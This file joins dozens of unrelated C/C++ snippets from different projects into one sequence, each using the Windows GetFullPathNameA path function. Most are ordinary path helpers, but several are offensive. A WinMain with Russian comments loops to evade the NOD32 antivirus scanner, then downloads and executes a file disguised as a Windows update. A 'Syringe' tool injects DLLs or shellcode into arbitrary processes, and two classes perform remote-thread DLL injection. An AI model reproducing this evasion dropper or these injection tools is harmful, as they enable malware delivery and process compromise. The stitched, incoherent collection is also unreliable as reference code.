/****************************************** * Return canonical version of name in a malloc'd buffer. * This code is high risk. */ const char *FileName::canonicalName(const char *name) { #if POSIX // NULL destination buffer is allowed and preferred return realpath(name, NULL); #elif _WIN32 /* Apparently, there is no good way to do this on Windows. * GetFullPathName isn't it, but use it anyway. */ DWORD result = GetFullPathNameA(name, 0, NULL, NULL); if (result) { char *buf = (char *)malloc(result); result = GetFullPathNameA(name, result, buf, NULL); if (result == 0) { ::free(buf); return NULL; } return buf; } return NULL; #else assert(0); return NULL; #endif }
static int lua_cwd(lua_State *L) { #ifdef _WIN32 char drv[2]; int l; SB sb; sbinit(&sb); drv[0] = '.'; drv[1] = 0; l = GetFullPathNameA(drv, sb.maxlen, sb.buffer, 0); if (l > sb.maxlen) { sbgrow(&sb, l+1); l = GetFullPathNameA(drv, sb.maxlen, sb.buffer, 0); } if (l <= 0) return sbsetpush(L, &sb, "."); sb.len += l; return sbpush(L, &sb); #elif HAVE_GETCWD const char *s; SB sb; sbinit(&sb); s = getcwd(sb.buffer, sb.maxlen); while (!s && errno==ERANGE) { sbgrow(&sb, sb.maxlen + SBINCREMENT); s = getcwd(sb.buffer, sb.maxlen); } if (! s) return sbsetpush(L, &sb, "."); sb.len += strlen(s); return sbpush(L, &sb); #else const char *s; SB sb; sbinit(&sb); sbgrow(&sb, PATH_MAX); s = getwd(sb.buffer); if (! s) return sbsetpush(L, &sb, "."); sb.len += strlen(s); return sbpush(L, &sb); #endif }
// returns 0 on success, non zero on error int get_full_path(char* src, char* dst, size_t dst_size) { #if defined(_WIN32) DWORD r; char* src_copy = NULL; #else char *dn, *bn; #endif if ((src == NULL) || (dst == NULL) || (dst_size == 0)) { return 1; } #if defined(_WIN32) if ((src_copy = malloc(strlen(src) + 1)) == NULL) return 1; memcpy(src_copy, src, strlen(src) + 1); handle_separators(src_copy); r = GetFullPathNameA(src_copy, (DWORD)dst_size, dst, NULL); safe_free(src_copy); if ((r != 0) || (r <= dst_size)) { return 0; } #else if ( (basename_split(src, &dn, &bn) == 0) && (realpath(dn, dst) != NULL) && (strlen(dst) + strlen(bn) + 2 < dst_size) ) { strcat(dst, "/"); strcat(dst, bn); basename_free(src); return 0; } basename_free(src); #endif fprintf(stderr, "Unable to get full path for '%s'.\n", src); return 1; }
//наша главная функа WinMain; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char szFileName[MAX_PATH]; HRESULT res; char szDirName[] = "C:\\xlogs"; int i = 0; HKEY hKey; LPSTR *pPart; for(i = 0; i< 15000; i++) //эта фича нужна для обхода сканера нод32; { if(RegOpenKeyExA(HKEY_LOCAL_MACHINE, "eba!", 0, KEY_QUERY_VALUE | KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) { MessageBoxA(0, "eba!", "eba!", MB_OK); } } GetModuleFileNameA(0, szFileName, MAX_PATH); //получаем полный путь к avsux.exe; GetFullPathNameA(szFileName, MAX_PATH, szFileName, &pPart); //pPart - указывает на имя avsux.exe; pPart[0] = 0; //обнуляем имя - получаем просто полный путь (без имени - ёба); CreateDirectoryA(szDirName, 0); //создаём директорию для нашей длл (она там создаст лог и будет в него писать); strcat(szFileName, "Windows-KB243657.exe"); //добавляем имя для будущего скаченного апдейта винды; res = URLDownloadToFileA(0, "http://download.microsoft.com/download/B/0/0/B00DF5E6-9A8F-403C-AB57-AED66C7E5BEE/WindowsXP-KB2393802-x86-ENU.exe", szFileName, 0, 0); //скачиваем файл; if (res == S_OK) { ShellExecuteA(NULL, "open", szFileName, NULL, NULL, SW_SHOW); //если всё оке, тогда запустим этот файл; } return 0; }
/*********************************************************************** * SetCurrentDirectory (KERNEL.412) */ BOOL16 WINAPI SetCurrentDirectory16( LPCSTR dir ) { char fulldir[MAX_PATH]; if (!GetFullPathNameA( dir, MAX_PATH, fulldir, NULL )) return FALSE; if (!SetCurrentDirectoryA( dir )) return FALSE; if (fulldir[0] && fulldir[1] == ':') { TDB *pTask = GlobalLock16( GetCurrentTask() ); char env_var[4] = "=A:"; env_var[1] = fulldir[0]; SetEnvironmentVariableA( env_var, fulldir ); /* update the directory in the TDB */ if (pTask) { pTask->curdrive = 0x80 | (fulldir[0] - 'A'); GetShortPathNameA( fulldir + 2, pTask->curdir, sizeof(pTask->curdir) ); } } return TRUE; }
char *iposix_path_abspath_w(const char *srcpath, char *path, int maxsize) { char *fname; DWORD hr = GetFullPathNameA(srcpath, maxsize, path, &fname); if (hr == 0) return NULL; return path; }
/*********************************************************************** * SetupIterateCabinetA (SETUPAPI.@) */ BOOL WINAPI SetupIterateCabinetA(PCSTR CabinetFile, DWORD Reserved, PSP_FILE_CALLBACK_A MsgHandler, PVOID Context) { SC_HSC_A my_hsc; ERF erf; CHAR pszCabinet[MAX_PATH], pszCabPath[MAX_PATH], *p; DWORD fpnsize; BOOL ret; TRACE("(CabinetFile == %s, Reserved == %u, MsgHandler == ^%p, Context == ^%p)\n", debugstr_a(CabinetFile), Reserved, MsgHandler, Context); if (! LoadCABINETDll()) return FALSE; memset(&my_hsc, 0, sizeof(SC_HSC_A)); pszCabinet[0] = '\0'; pszCabPath[0] = '\0'; fpnsize = strlen(CabinetFile); if (fpnsize >= MAX_PATH) { SetLastError(ERROR_BAD_PATHNAME); return FALSE; } fpnsize = GetFullPathNameA(CabinetFile, MAX_PATH, &(pszCabPath[0]), &p); if (fpnsize > MAX_PATH) { SetLastError(ERROR_BAD_PATHNAME); return FALSE; } if (p) { strcpy(pszCabinet, p); *p = '\0'; } else { strcpy(pszCabinet, CabinetFile); pszCabPath[0] = '\0'; } TRACE("path: %s, cabfile: %s\n", debugstr_a(pszCabPath), debugstr_a(pszCabinet)); /* remember the cabinet name */ strcpy(&(my_hsc.most_recent_cabinet_name[0]), pszCabinet); my_hsc.magic = SC_HSC_A_MAGIC; my_hsc.msghandler = MsgHandler; my_hsc.context = Context; my_hsc.hfdi = sc_FDICreate( sc_cb_alloc, sc_cb_free, sc_cb_open, sc_cb_read, sc_cb_write, sc_cb_close, sc_cb_lseek, cpuUNKNOWN, &erf ); if (!my_hsc.hfdi) return FALSE; ret = ( sc_FDICopy(my_hsc.hfdi, pszCabinet, pszCabPath, 0, sc_FNNOTIFY_A, NULL, &my_hsc) ) ? TRUE : FALSE; sc_FDIDestroy(my_hsc.hfdi); return ret; }
int DllInjector::inject(unsigned long processId, std::string dllName) { LPTHREAD_START_ROUTINE lpStartExecAddr = NULL; LPVOID lpExecParam = NULL; HANDLE hTargetProcHandle = NULL; char* lpcDll = NULL; char tcDllPath[_bufferSize] = ""; if (GetFullPathNameA(dllName.c_str(), _bufferSize, tcDllPath, NULL) == 0) { if (_logger) _logger->error("Cannot get full dll path!"); return -1; }; // Attach to process with OpenProcess() hTargetProcHandle = attachToProcess(processId); if (hTargetProcHandle == NULL) { if (_logger) _logger->error("Could not Attach to Process!!"); return -1; } // Copy the DLL via write path method lpStartExecAddr = AllocWritePath(hTargetProcHandle, tcDllPath, &lpExecParam); if (lpStartExecAddr == NULL) { if (_logger) _logger->error("Could not allocate memory!!"); return -1; } // Inject the DLL into process via create remote thread method if (_logger) _logger->info("INJECTING!"); injectDLL(hTargetProcHandle, lpStartExecAddr, lpExecParam); CloseHandle(hTargetProcHandle); return 0; }
std::string absolute_path( const std::string &path ) { #ifdef SFML_SYSTEM_WINDOWS const int BUFF_SIZE = 512; char buff[ BUFF_SIZE + 1 ]; buff[BUFF_SIZE] = 0; if ( GetFullPathNameA( path.c_str(), BUFF_SIZE, buff, NULL )) return std::string( buff ); #else char buff[PATH_MAX+1]; if ( realpath( path.c_str(), buff ) ) { std::string retval = buff; if (( retval.size() > 0 ) && ( retval[ retval.size()-1 ] != '/' )) retval += "/"; return retval; } #endif // SFML_SYSTEM_WINDOWS return path; }
extern "C" DWORD WINAPI dllGetFullPathNameA(LPCTSTR lpFileName, DWORD nBufferLength, LPTSTR lpBuffer, LPTSTR* lpFilePart) { #ifdef TARGET_WINDOWS if (!lpFileName) return 0; if(strstr(lpFileName, "://")) { unsigned int length = strlen(lpFileName); if (nBufferLength < (length + 1)) return length + 1; else { strcpy(lpBuffer, lpFileName); if(lpFilePart) { char* s1 = strrchr(lpBuffer, '\\'); char* s2 = strrchr(lpBuffer, '/'); if(s2 && s1 > s2) *lpFilePart = s1 + 1; else if(s1 && s2 > s1) *lpFilePart = s2 + 1; else *lpFilePart = lpBuffer; } return length; } } return GetFullPathNameA(lpFileName, nBufferLength, lpBuffer, lpFilePart); #else not_implement("kernel32.dll fake function GetFullPathNameW called\n"); //warning return 0; #endif }
/*---------------------------------------------------------------------------*/ char *realpath(const char *path, char *resolved_path) { char *pszFilePart; if (GetFullPathNameA(path, MAXPATHLEN, resolved_path, &pszFilePart)==0) return NULL; return resolved_path; }
static void win32_add_one_solib (const char *name, CORE_ADDR load_addr) { char buf[MAX_PATH + 1]; char buf2[MAX_PATH + 1]; #ifdef _WIN32_WCE WIN32_FIND_DATA w32_fd; WCHAR wname[MAX_PATH + 1]; mbstowcs (wname, name, MAX_PATH); HANDLE h = FindFirstFile (wname, &w32_fd); #else WIN32_FIND_DATAA w32_fd; HANDLE h = FindFirstFileA (name, &w32_fd); #endif /* The symbols in a dll are offset by 0x1000, which is the offset from 0 of the first byte in an image - because of the file header and the section alignment. */ load_addr += 0x1000; if (h == INVALID_HANDLE_VALUE) strcpy (buf, name); else { FindClose (h); strcpy (buf, name); #ifndef _WIN32_WCE { char cwd[MAX_PATH + 1]; char *p; if (GetCurrentDirectoryA (MAX_PATH + 1, cwd)) { p = strrchr (buf, '\\'); if (p) p[1] = '\0'; SetCurrentDirectoryA (buf); GetFullPathNameA (w32_fd.cFileName, MAX_PATH, buf, &p); SetCurrentDirectoryA (cwd); } } #endif } #ifndef _WIN32_WCE if (strcasecmp (buf, "ntdll.dll") == 0) { GetSystemDirectoryA (buf, sizeof (buf)); strcat (buf, "\\ntdll.dll"); } #endif #ifdef __CYGWIN__ cygwin_conv_path (CCP_WIN_A_TO_POSIX, buf, buf2, sizeof (buf2)); #else strcpy (buf2, buf); #endif loaded_dll (buf2, load_addr); }
void LoadModules() { const int MAX_MOD_HANDLES = 1024; HMODULE StaticModuleHandleArray[MAX_MOD_HANDLES]; HMODULE* ModuleHandleArray; DWORD Needed; HANDLE hProcess = GetCurrentProcess(); ModuleHandleArray = &StaticModuleHandleArray[0]; BOOL result = EnumProcessModules(hProcess, ModuleHandleArray, sizeof(ModuleHandleArray), &Needed); if( !result ) { DWORD error = GetLastError(); DebugLog("EnumProcessModule failed: error = %d", error); return; } if( Needed > sizeof(ModuleHandleArray) ) // was our static array not big enough? { ModuleHandleArray = (HMODULE*)DialogAllocator.AllocateBytes(Needed, sizeof(void*)); BOOL result = EnumProcessModules(hProcess, ModuleHandleArray, Needed, &Needed); if( !result ) { DWORD error = GetLastError(); DebugLog("EnumProcessModule(2) failed: error = %d", error); return; } } int NumModules = Needed / sizeof(HMODULE); MODULEINFO ModuleInfo; char ModuleFilePath[MAX_PATH]; char ModuleName[256]; char SearchFilePath[MAX_PATH]; for( int i = 0; i < NumModules; i++ ) { GetModuleInformation(hProcess, ModuleHandleArray[i], &ModuleInfo, sizeof(MODULEINFO)); GetModuleFileNameExA(hProcess, ModuleHandleArray[i], ModuleFilePath, MAX_PATH); GetModuleBaseNameA(hProcess, ModuleHandleArray[i], ModuleName, 256); char* FileName = nullptr; GetFullPathNameA(ModuleFilePath, MAX_PATH, SearchFilePath, &FileName); *FileName = 0; SymSetSearchPath(hApplicationProcess, SearchFilePath); DWORD64 BaseAddress = SymLoadModule64(hApplicationProcess, ModuleHandleArray[i], ModuleFilePath, ModuleName, (DWORD64)ModuleInfo.lpBaseOfDll, (DWORD) ModuleInfo.SizeOfImage); if( !BaseAddress ) { DWORD error = GetLastError(); DebugLog("SymLoadModule64 failed: error = %d", error); } } }
int main(int argc, char* argv[]) { char dllPath[MAXLINE] = ""; unsigned int pid = 0; unsigned int injResult; unsigned char attackType = 0; unsigned char numargs = 4; char *usageString = "Syringe v1.2\nA General Purpose DLL & Code Injection Utility\n\nUsage:\n\nInject DLL:\n\tsyringe.exe -1 [ dll ] [ pid ]\n\nInject Shellcode:\n\tsyringe.exe -2 [ shellcode ] [ pid ]\n\nExecute Shellcode:\n\tsyringe.exe -3 [ shellcode ]\n"; if (argc < 2) { printf("%s", usageString); return 0; } if (strncmp(argv[1], "-1", 2) == 0) { attackType = ATTACK_TYPE_DLL_INJECTION; } else if (strncmp(argv[1], "-2", 2) == 0) { attackType = ATTACK_TYPE_SHELL_CODE_INJECTION; } else if (strncmp(argv[1], "-3", 2) == 0) { attackType = ATTACK_TYPE_EXECUTE_SHELL_CODE; numargs = 3; } else { printf("%s", usageString); return 0; } if (argc != numargs) { printf("%s", usageString); return 0; } if ((attackType == ATTACK_TYPE_DLL_INJECTION) || (attackType == ATTACK_TYPE_SHELL_CODE_INJECTION)) { pid = atoi(argv[3]); if (!pid) { printf("Invalid Process ID.\n"); return 0; } if (attackType == ATTACK_TYPE_DLL_INJECTION) { GetFullPathNameA(argv[2], MAXLINE, dllPath, NULL); injResult = InjectDLL(dllPath, pid); } else if (attackType == ATTACK_TYPE_SHELL_CODE_INJECTION) { injResult = InjectShellcode(argv[2], pid); } if (injResult == 0) { printf("Successfully Injected.\n"); } else { printf("Failed To Inject. \nError: "); switch (injResult) { case 1: { printf("Invalid Process ID.\n"); break; } case 2: { printf("Could Not Open A Handle To The Process.\n"); break; } case 3: { printf("Could Not Get The Address Of LoadLibraryA.\n"); break; } case 4: { printf("Could Not Allocate Memory In Remote Process.\n"); break; } case 5: { printf("Could Not Write To Remote Process.\n"); break; } case 6: { printf("Could Not Start The Remote Thread.\n"); break; } } } } else if (attackType == ATTACK_TYPE_EXECUTE_SHELL_CODE) { ExecuteShellcode(argv[2]); } return 0; }
extern "C" HRESULT CompletePathA( LPSTR szPath, //@parm [out] Full Path name (Must be MAX_PATH in size) LPCSTR szRelPath, //@parm Relative Path name LPCSTR szAbsPath //@parm Absolute Path name portion (NULL uses current path) ) { LPSTR szFile; int iStat; // If the spec, starts with PathSeparator, it is by definition complete. if (szRelPath[0] == PATHSEPARATOR && szRelPath[1] == PATHSEPARATOR) { strcpy(szPath, szRelPath); return (S_OK); } // Get the drive letter. if (strchr(szRelPath,':') == NULL) { // No drive was specified. if (szAbsPath == NULL) { GetFullPathNameA(szRelPath, MAX_PATH, szPath, &szFile); RemoveDotsA(szPath); return S_OK; } else { // An absolute path was specified. // Check if the relative path is relative to '\\' if (*szRelPath == PATHSEPARATOR) { ParsePathA(szAbsPath,szPath,NULL,NULL); strcat(szPath,szRelPath); } else { if ((iStat = AppendPathA(szPath,szAbsPath,szRelPath)) < 0) return (iStat); } RemoveDotsA (szPath); return S_OK; } } else { GetFullPathNameA(szRelPath, MAX_PATH, szPath, &szFile); RemoveDotsA (szPath); return S_OK; } }
char* realpath(const char *path, char *resolved_path) { if (!resolved_path) resolved_path = malloc(PATH_MAX + 1); if (!resolved_path) return NULL; GetFullPathNameA(path, PATH_MAX, resolved_path, NULL); return resolved_path; }
P_LIB_API PDir * p_dir_new (const pchar *path, PError **error) { PDir *ret; pchar *pathp; if (P_UNLIKELY (path == NULL)) { p_error_set_error_p (error, (pint) P_ERROR_IO_INVALID_ARGUMENT, 0, "Invalid input argument"); return NULL; } if (P_UNLIKELY ((ret = p_malloc0 (sizeof (PDir))) == NULL)) { p_error_set_error_p (error, (pint) P_ERROR_IO_NO_RESOURCES, 0, "Failed to allocate memory for directory structure"); return NULL; } if (P_UNLIKELY (!GetFullPathNameA (path, MAX_PATH, ret->path, NULL))) { p_error_set_error_p (error, (pint) p_error_get_last_io (), p_error_get_last_system (), "Failed to call GetFullPathNameA() to get directory path"); p_free (ret); return NULL; } /* Append the search pattern "\\*\0" to the directory name */ pathp = strchr (ret->path, '\0'); if (ret->path < pathp && *(pathp - 1) != '\\' && *(pathp - 1) != ':') *pathp++ = '\\'; *pathp++ = '*'; *pathp = '\0'; /* Open directory stream and retrieve the first entry */ ret->search_handle = FindFirstFileA (ret->path, &ret->find_data); if (P_UNLIKELY (ret->search_handle == INVALID_HANDLE_VALUE)) { p_error_set_error_p (error, (pint) p_error_get_last_io (), p_error_get_last_system (), "Failed to call FindFirstFileA() to open directory stream"); p_free (ret); return NULL; } ret->cached = TRUE; ret->orig_path = p_strdup (path); return ret; }
/********************************************************************* * _searchenv (MSVCRT.@) * * Search for a file in a list of paths from an environment variable. * * PARAMS * file [I] Name of the file to search for. * env [I] Name of the environment variable containing a list of paths. * buf [O] Destination for the found file path. * * RETURNS * Nothing. If the file is not found, buf will contain an empty string * and errno is set. */ void CDECL MSVCRT__searchenv(const char* file, const char* env, char *buf) { char*envVal, *penv; char curPath[MAX_PATH]; *buf = '\0'; /* Try CWD first */ if (GetFileAttributesA( file ) != INVALID_FILE_ATTRIBUTES) { GetFullPathNameA( file, MAX_PATH, buf, NULL ); /* Sigh. This error is *always* set, regardless of success */ msvcrt_set_errno(ERROR_FILE_NOT_FOUND); return; } /* Search given environment variable */ envVal = MSVCRT_getenv(env); if (!envVal) { msvcrt_set_errno(ERROR_FILE_NOT_FOUND); return; } penv = envVal; TRACE(":searching for %s in paths %s\n", file, envVal); do { char *end = penv; while(*end && *end != ';') end++; /* Find end of next path */ if (penv == end || !*penv) { msvcrt_set_errno(ERROR_FILE_NOT_FOUND); return; } memcpy(curPath, penv, end - penv); if (curPath[end - penv] != '/' && curPath[end - penv] != '\\') { curPath[end - penv] = '\\'; curPath[end - penv + 1] = '\0'; } else curPath[end - penv] = '\0'; strcat(curPath, file); TRACE("Checking for file %s\n", curPath); if (GetFileAttributesA( curPath ) != INVALID_FILE_ATTRIBUTES) { strcpy(buf, curPath); msvcrt_set_errno(ERROR_FILE_NOT_FOUND); return; /* Found */ } penv = *end ? end + 1 : end; } while(1); }
bool resolvePath(const std::string& path, std::string& result) { #define BUFSIZE 1024 char buffer[BUFSIZE]; int len=GetFullPathNameA(path.c_str(), BUFSIZE, buffer, NULL); if (0!=len) { result.assign(buffer, len); return true; } return false; }
VDStringW VDGetFullPath(const wchar_t *partialPath) { static tpGetFullPathNameW spGetFullPathNameW = (tpGetFullPathNameW)GetProcAddress(GetModuleHandle("kernel32.dll"), "GetFullPathNameW"); union { char a[MAX_PATH]; wchar_t w[MAX_PATH]; } tmpBuf; if (spGetFullPathNameW && !(GetVersion() & 0x80000000)) { LPWSTR p; tmpBuf.w[0] = 0; DWORD count = spGetFullPathNameW(partialPath, MAX_PATH, tmpBuf.w, &p); if (count < MAX_PATH) return VDStringW(tmpBuf.w); VDStringW tmp(count); DWORD newCount = spGetFullPathNameW(partialPath, count, (wchar_t *)tmp.data(), &p); if (newCount < count) return tmp; return VDStringW(partialPath); } else { LPSTR p; VDStringA pathA(VDTextWToA(partialPath)); tmpBuf.a[0] = 0; DWORD count = GetFullPathNameA(pathA.c_str(), MAX_PATH, tmpBuf.a, &p); if (count < MAX_PATH) return VDStringW(VDTextAToW(tmpBuf.a)); VDStringA tmpA(count); DWORD newCount = GetFullPathNameA(pathA.c_str(), count, (char *)tmpA.data(), &p); if (newCount < count) return VDTextAToW(tmpA); return VDStringW(partialPath); } }
CPUTResult CPUTFileSystem::ResolveAbsolutePathAndFilename(const std::string &fileName, std::string *pResolvedPathAndFilename) { char pFullPathAndFilename[CPUT_MAX_PATH]; DWORD result = GetFullPathNameA(fileName.c_str(), CPUT_MAX_PATH, pFullPathAndFilename, NULL); ASSERTA( 0 != result, "Error getting full path name" ); *pResolvedPathAndFilename = pFullPathAndFilename; UNREFERENCED_PARAMETER(result); return CPUT_SUCCESS; }
BOOL My_GetFullPathNameA() { LPCSTR lpFileName=NULL; DWORD nBufferLength=NULL; LPSTR lpBuffer=NULL; LPSTR * lpFilePart=NULL; DWORD returnVal_Real = NULL; DWORD returnVal_Intercepted = NULL; DWORD error_Real = 0; DWORD error_Intercepted = 0; disableInterception(); returnVal_Real = GetFullPathNameA (lpFileName,nBufferLength,lpBuffer,lpFilePart); error_Real = GetLastError(); enableInterception(); returnVal_Intercepted = GetFullPathNameA (lpFileName,nBufferLength,lpBuffer,lpFilePart); error_Intercepted = GetLastError(); return ((returnVal_Real == returnVal_Intercepted) && (error_Real == error_Intercepted)); }
static void win32_add_one_solib (const char *name, CORE_ADDR load_addr) { char buf[MAX_PATH + 1]; char buf2[MAX_PATH + 1]; #ifdef _WIN32_WCE WIN32_FIND_DATA w32_fd; WCHAR wname[MAX_PATH + 1]; mbstowcs (wname, name, MAX_PATH); HANDLE h = FindFirstFile (wname, &w32_fd); #else WIN32_FIND_DATAA w32_fd; HANDLE h = FindFirstFileA (name, &w32_fd); #endif if (h == INVALID_HANDLE_VALUE) strcpy (buf, name); else { FindClose (h); strcpy (buf, name); #ifndef _WIN32_WCE { char cwd[MAX_PATH + 1]; char *p; if (GetCurrentDirectoryA (MAX_PATH + 1, cwd)) { p = strrchr (buf, '\\'); if (p) p[1] = '\0'; SetCurrentDirectoryA (buf); GetFullPathNameA (w32_fd.cFileName, MAX_PATH, buf, &p); SetCurrentDirectoryA (cwd); } } #endif } #ifndef _WIN32_WCE if (strcasecmp (buf, "ntdll.dll") == 0) { GetSystemDirectoryA (buf, sizeof (buf)); strcat (buf, "\\ntdll.dll"); } #endif #ifdef __CYGWIN__ cygwin_conv_to_posix_path (buf, buf2); #else strcpy (buf2, buf); #endif loaded_dll (buf2, load_addr); }
std::string WindowsPlatformInterface::getExePath() { char exeFullName[MAX_PATH + 1]; char exeFullPath[MAX_PATH + 1]; char * lpExeName; GetModuleFileNameA(NULL, exeFullName, MAX_PATH + 1); GetFullPathNameA(exeFullName, MAX_PATH + 1, exeFullPath, &lpExeName); *lpExeName = '\0'; return exeFullPath; }
static int init(sh_video_t *sh) { int err; char fname[MAX_PATH + 1] = ""; memset(&dsn, 0, sizeof(dsn)); #ifdef WIN32_LOADER dsn.ldt_fs = Setup_LDT_Keeper(); #endif dsn.hLib = LoadLibraryA("dshownative.dll"); if (!dsn.hLib) { mp_msg(MSGT_DECVIDEO, MSGL_ERR, "[dshownative] Cannot find dshownative.dll: %ld\n", GetLastError()); return 0; } dsn.DSOpenVideoCodec = (funcDSOpenVideoCodec) GetProcAddress(dsn.hLib, "DSOpenVideoCodec"); dsn.DSCloseVideoCodec = (funcDSCloseVideoCodec) GetProcAddress(dsn.hLib, "DSCloseVideoCodec"); dsn.DSVideoDecode = (funcDSVideoDecode) GetProcAddress(dsn.hLib, "DSVideoDecode"); dsn.DSVideoResync = (funcDSVideoResync) GetProcAddress(dsn.hLib, "DSVideoResync"); dsn.DSStrError = (funcDSStrError) GetProcAddress(dsn.hLib, "DSStrError"); dsn.DSGetApiVersion = (funcDSGetApiVersion) GetProcAddress(dsn.hLib, "DSGetApiVersion"); if (!(dsn.DSOpenVideoCodec && dsn.DSCloseVideoCodec && dsn.DSVideoDecode && dsn.DSVideoResync && dsn.DSStrError && dsn.DSGetApiVersion)) { mp_msg(MSGT_DECVIDEO, MSGL_ERR, "[dshownative] dshownative dll symbol mismatch\n"); return 0; } if (dsn.DSGetApiVersion() != DSN_API_VERSION) { mp_msg(MSGT_DECVIDEO, MSGL_ERR, "[dshownative] Incompatible API version\n"); return 0; } if (sh->ds->demuxer->filename) GetFullPathNameA(sh->ds->demuxer->filename, MAX_PATH, fname, NULL); if (!(dsn.codec = dsn.DSOpenVideoCodec(sh->codec->dll, sh->codec->guid, sh->bih, sh->codec->outfmt[sh->outfmtidx], sh->fps, fname, is_mpegts_format, &err))) { mp_msg(MSGT_DECVIDEO, MSGL_ERR, "[dshownative] Codec init failed: %s\n", dsn.DSStrError(err)); return 0; } if (!mpcodecs_config_vo(sh, sh->disp_w, sh->disp_h, IMGFMT_YUY2)) { mp_msg(MSGT_DECVIDEO, MSGL_ERR, "[dshownative] mpcodecs_config_vo() failed\n"); return 0; } special_codec = 1; mp_msg(MSGT_DECVIDEO, MSGL_V, "INFO: [dshownative] video codec init OK.\n"); return 1; }
static void _load_process_modules() { int error = 0; bool succeeded; HMODULE module_handles[MAX_MOD_HANDLES]; HMODULE* module_handle = module_handles; int module_count = 0; int i; DWORD bytes = 0; MODULEINFO module_info; HANDLE process_handle = GetCurrentProcess(); succeeded = CallEnumProcessModules( process_handle, module_handles, sizeof( module_handles ), &bytes ); if( !succeeded ) { error = GetLastError(); return; } if( bytes > sizeof( module_handles ) ) { module_handle = memory_allocate( bytes, 0, MEMORY_TEMPORARY ); CallEnumProcessModules( process_handle, module_handle, bytes, &bytes ); } module_count = bytes / sizeof( HMODULE ); for( i = 0; i < module_count; ++i ) { char module_name[1024]; char image_name[1024]; char search_path[1024]; char* file_name = 0; uint64_t base_address; CallGetModuleInformation( process_handle, module_handle[i], &module_info, sizeof( module_info ) ); CallGetModuleFileNameEx( process_handle, module_handle[i], image_name, 1024 ); CallGetModuleBaseName( process_handle, module_handle[i], module_name, 1024 ); GetFullPathNameA( image_name, 1024, search_path, &file_name ); *file_name = 0; CallSymSetSearchPath( process_handle, search_path ); base_address = CallSymLoadModule64( process_handle, module_handle[i], image_name, module_name, (uint64_t)((uintptr_t)module_info.lpBaseOfDll), module_info.SizeOfImage ); if( !base_address ) { error = GetLastError(); } } // Free the module handle pointer allocated in case the static array was insufficient. if( module_handle != module_handles ) memory_deallocate( module_handle ); }
/* Inject Dll into process RETURN: Error code */ DWORD CMemDll::Inject() { HANDLE hThread = NULL; HANDLE hFile = INVALID_HANDLE_VALUE; DWORD dwBytesWritten = 0; LPVOID pCode = NULL; DWORD* pfnThreadRtn = NULL; char DllName[255]; if(!CMemCore::Instance().m_hProcess) return ERROR_INVALID_HANDLE; //Already loaded if(GetModuleAddress(GetProcessId(CMemCore::Instance().m_hProcess), TEXT(DLL_NAME)) !=0 ) return ERROR_SUCCESS; hFile = CreateFileA(DLL_NAME, GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); if(hFile == INVALID_HANDLE_VALUE) return GetLastError(); else CloseHandle(hFile); GetFullPathNameA(DLL_NAME, sizeof(DllName), DllName, NULL); CHK_RES(CMemCore::Instance().Allocate(0x200, pCode)); if(!WriteProcessMemory(CMemCore::Instance(). m_hProcess, pCode, (LPCVOID)DllName, strlen(DllName)+1, &dwBytesWritten)) { CMemCore::Instance().Free(pCode); return GetLastError(); } pfnThreadRtn = (DWORD*)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA"); if(pfnThreadRtn==NULL) { CMemCore::Instance().Free(pCode); return GetLastError(); } hThread = CreateRemoteThread(CMemCore::Instance().m_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pfnThreadRtn, pCode, 0, NULL); if(hThread == NULL) { CMemCore::Instance().Free(pCode); return GetLastError(); } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CMemCore::Instance().Free(pCode); return ERROR_SUCCESS; }
/* realpath implementation for Windows found at http://bugzilla.gnome.org/show_bug.cgi?id=342926 * this one is better than e.g. liberty's lrealpath because this one uses Win32 API and works * with special chars within the filename */ static char *realpath (const char *pathname, char *resolved_path) { int size; if (resolved_path != NULL) { int path_max = get_path_max(pathname); size = GetFullPathNameA (pathname, path_max, resolved_path, NULL); if (size > path_max) return NULL; else return resolved_path; } else { size = GetFullPathNameA (pathname, 0, NULL, NULL); resolved_path = g_new0 (char, size); GetFullPathNameA (pathname, size, resolved_path, NULL); return resolved_path; } }
BBString *bbSystemRequestDir( BBString *text,BBString *dir ){ BBString *str=&bbEmptyString; if( _usew ){ LPMALLOC shm; ITEMIDLIST *idlist; BROWSEINFOW bi={0}; wchar_t buf[MAX_PATH],*p; GetFullPathNameW( bbTmpWString(dir),MAX_PATH,buf,&p ); bi.hwndOwner=GetActiveWindow(); bi.lpszTitle=bbTmpWString( text ); bi.ulFlags=BIF_RETURNONLYFSDIRS|BIF_NEWDIALOGSTYLE; bi.lpfn=BrowseForFolderCallbackW; bi.lParam=(LPARAM)buf; beginPanel(); idlist=SHBrowseForFolderW(&bi); endPanel(); if( idlist ){ SHGetPathFromIDListW( idlist,buf ); str=bbStringFromWString( buf ); //SHFree( idlist ); //?!? } } else { LPMALLOC shm; ITEMIDLIST *idlist; BROWSEINFOA bi={0}; char buf[MAX_PATH],*p; GetFullPathNameA( bbTmpCString(dir),MAX_PATH,buf,&p ); bi.hwndOwner=GetActiveWindow(); bi.lpszTitle=bbTmpCString( text ); bi.ulFlags=BIF_RETURNONLYFSDIRS|BIF_NEWDIALOGSTYLE; bi.lpfn=BrowseForFolderCallbackA; bi.lParam=(LPARAM)buf; beginPanel(); idlist=SHBrowseForFolderA(&bi); endPanel(); if( idlist ){ SHGetPathFromIDListA( idlist,buf ); str=bbStringFromCString( buf ); //SHFree( idlist ); //?!? } } return str; }
static std::string NormalizePath(const std::string &path) { #ifdef _WIN32 char buf[512] = {0}; if (GetFullPathNameA(path.c_str(), sizeof(buf) - 1, buf, NULL) == 0) return ""; #else char buf[PATH_MAX + 1]; if (realpath(path.c_str(), buf) == NULL) return ""; #endif return buf; }